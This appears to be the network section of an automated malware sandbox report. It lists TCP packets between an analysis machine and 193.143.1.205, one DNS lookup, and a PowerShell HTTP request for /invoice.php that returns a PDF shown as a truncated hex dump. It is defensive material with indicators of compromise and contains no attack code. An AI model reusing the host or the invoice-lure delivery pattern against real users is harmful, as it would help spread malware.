Jan 11, 2025 08:47:38.038444996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038502932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038516998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.038556099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038606882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038624048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.038641930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038675070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038690090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.038710117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038743019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038757086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.038777113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038810015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038826942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.038865089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038897991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038917065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.038947105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.038976908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039009094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039031982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039066076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039088011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039098978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039134979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039146900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039170980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039207935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039220095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039236069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039271116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039275885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039349079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039402008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039402962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039437056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039469957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039479017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039505005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039539099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039546013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039573908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039623022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039750099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039783955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039817095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039845943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039869070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039901972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039915085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.039935112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039969921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.039982080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.040003061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040036917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040056944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.040071011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040105104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040111065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.040138960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040173054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040180922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.040285110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040318966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040327072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.040370941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040402889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040414095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.040437937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040471077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040483952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.040507078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.040551901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.048219919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.049592018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.049626112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.049659967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.049678087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.060401917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.083131075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083245039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.083369017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083399057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083435059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083487034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083501101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.083518982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083551884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083568096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.083600998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.083600998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083637953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083679914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.083681107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083713055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083746910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083755970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.083780050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.083834887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096221924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096251965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096286058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096304893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096319914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096352100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096379995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096402884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096452951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096472025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096488953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096523046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096534014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096555948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096589088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096592903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096621037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096663952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096672058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096705914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096740007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096748114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096772909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096807003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096815109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096946001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.096988916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.096996069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097029924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097074986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.097080946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097121000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097152948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097161055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.097189903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097229004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.097325087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097357988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097390890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097398043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.097419024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097453117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097465992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.097486973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097521067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097527027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.097570896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097604036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097613096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.097636938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097676992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.097687006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.116940975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.116995096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117031097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117048025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.117063999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117091894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.117109060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117160082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117194891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.117201090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117233038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117242098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.117266893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117301941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117306948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.117372036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117403984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117413044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.117435932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117475986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.117500067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117533922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.117575884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130037069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130091906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130143881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130172014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130193949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130245924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130255938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130279064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130312920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130335093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130345106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130378962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130393028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130412102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130456924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130497932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130553961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130588055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130599022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130621910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130665064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130673885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130723953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130767107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130774021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130806923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130841017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130856991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130913973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130964041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.130964994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.130996943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131031036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131058931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131063938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131099939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131110907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131169081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131201982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131215096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131237030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131264925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131280899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131434917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131469011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131490946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131505013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131537914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131555080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131588936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131622076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131633997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131655931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131689072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131705999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131724119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131757021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131774902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131791115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131824970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131848097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131859064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131892920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131901026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.131941080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.131994963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.132081032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.132112980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.132155895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.132164955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.132196903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.132231951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.132244110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.132265091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.132308006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.174957991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.174989939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175024033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175048113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.175059080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175100088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175101995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.175152063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175184965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175194979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.175220013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175259113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.175268888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175302982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175343990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.175357103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175390959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175424099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175434113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.175457954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175492048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175499916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.175525904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.175565958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.187998056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.188028097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.188062906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.188079119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.233869076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.298615932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:39.549029112 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:39.553865910 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:39.553978920 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:39.556725025 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:39.561548948 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:40.328211069 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:40.375116110 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:40.933279991 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:47:52.559669018 CET	58672	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:47:52.559669018 CET	192.168.2.4	1.1.1.1	0xee56	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:47:52.567580938 CET	1.1.1.1	192.168.2.4	0xee56	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	1860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:47:36.521332026 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:47:37.354794025 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:47:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
